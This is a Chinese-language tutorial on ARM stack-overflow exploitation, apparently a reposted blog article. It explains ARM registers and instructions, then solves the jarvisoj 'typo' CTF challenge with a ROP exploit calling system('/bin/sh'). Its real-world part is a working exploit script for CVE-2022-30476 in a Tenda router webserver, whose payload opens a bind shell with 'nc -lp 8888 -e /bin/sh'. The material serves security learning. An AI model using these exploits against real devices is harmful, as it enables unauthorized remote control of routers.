ARM PWN基础教程

上官雨宝2022-07-27 17:29:43

ARM PWN基础教程

一、前言

 在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。

二、前置知识

指令集

 Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。

寄存器

 寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器:

•R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
•在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
•R7寄存器在函数调用中负责存储系统调用号
•R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
•R13寄存器SP(堆栈指针)指向堆栈的顶部
•R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
•R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。

ARM指令

这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。

 这里需要单独介绍一下LDR和STR两个指令

•LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器

•STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中

三、例题讲解

 这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo

查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell

amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。

这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。

+-------------+
| "a" * 112   |
+-------------+
| pop_gadget  | <- return address
+-------------+
|   /bin/sh   |
+-------------+
|     0       |
+-------------+
| system_addr |
+-------------+

思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序

qemu-arm-static -g 1234 -L . ./pwn

 然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移

最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。

确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget

0x00020904: pop {r0, r4, pc};

EXP

from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()

四、实战演示

这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。

web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。

我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。

随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。

这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。

与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾

 凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击

import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)

五、参考链接

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/

文章转自公众号: 合天网络安全

arm状态寄存器
本作品采用《CC 协议》,转载必须注明作者和本文链接
ARM PWN基础教程
2022-07-27 17:29:43
在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。
交互式反汇编器,简称为IDA。是目前最棒的一个静态反编译软件,为众多0day世界的成员和ShellCode安全分析人士不可缺少的利器!此章节让我们熟悉通过IDA修改参数、函数、返回值,同时详细解读标志位的概念,熟悉堆栈及详细解读ARM三级流水线概念和ARM编码编译为二进制的全过程。
Thumb汇编指令的细节
汇编语言是一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。Smali汇编基础Smali语言最早是由JesusFreke发布在Google Code上的一个开源项目,并不是拥有官方标准的语言。因此也将Smali语言称作Android虚拟机的反汇编语言。基本类型Smali基本数据类型中包含两种类型,原始类型和引用类型。而在Smali中则是以LpackageName/objectName的形式表示对象类型。
因此,探寻新的应对新型安全威胁的方法成为当前各机构的研究热点。为应对新型病毒和木马的安全威胁,行业内通常采用安全模块扩展技术。的主要安全目标是防止敏感数据的完整性和机密性遭到破坏。当 REE 执行时,CPU 状态寄存器以及总线信号中的对应位会置 1,安全内存和安全设备不再接受 CPU 的访问请求。TEE 使用快速中断请求,REE 使用中断请求。
此外,寄存器变化上下限、Block变化上下限以及2个块之间的变化限制都可以作为MILP修正的依据对波形分类进行修正。其中ML选择了MLP模型,共使用了2362000条波,MILP采用的是Gurobi,SMT采用的是Z3。
专家指出,只有通过重新设计电路才能解决此问题,但是好消息是该漏洞的严重性非常低,并且不会造成重大的安全风险,因为还有其他一些泄漏数据的渠道。M1RACLES漏洞允许在同一设备上运行的两个应用通过CPU级别的秘密通道交换数据,而无需使用内存,套接字,文件或任何其他常规操作系统功能。这使进程可以交换任意数量的数据,而仅受CPU开销的约束。专家不了解此寄存器的用途,但他认为EL0尚未被有意访问。
虚拟机管理器使用这个接口来启动虚拟机,并执行正常的虚拟机活动。该证明由AMD和平台所有者共同签署。启动认证则是向虚拟机所有者证明启动过程时安全的,SEV固件向虚拟机所有者提供与SEV相关的虚拟机状态的签名,以验证虚拟机是否处于预期状态。因此SEV可以用于创建安全的沙盒执行环境,目前比较典型的应用便是将SEV与Kata容器相结合成为机密容器。
大厂基本为了程序的安全,会使用大量内联SVC去调用系统函数,以此来保护程序的安全。如何实现SVC指令的IO重定向,成为最大的问题。内核态是当Linux需要处理文件,或者进行中断IO等操作的时候就会进入内核态。当arm系列cpu发现svc指令的时候,就会陷入中断,简称0x80中断。
上官雨宝
是水水水水是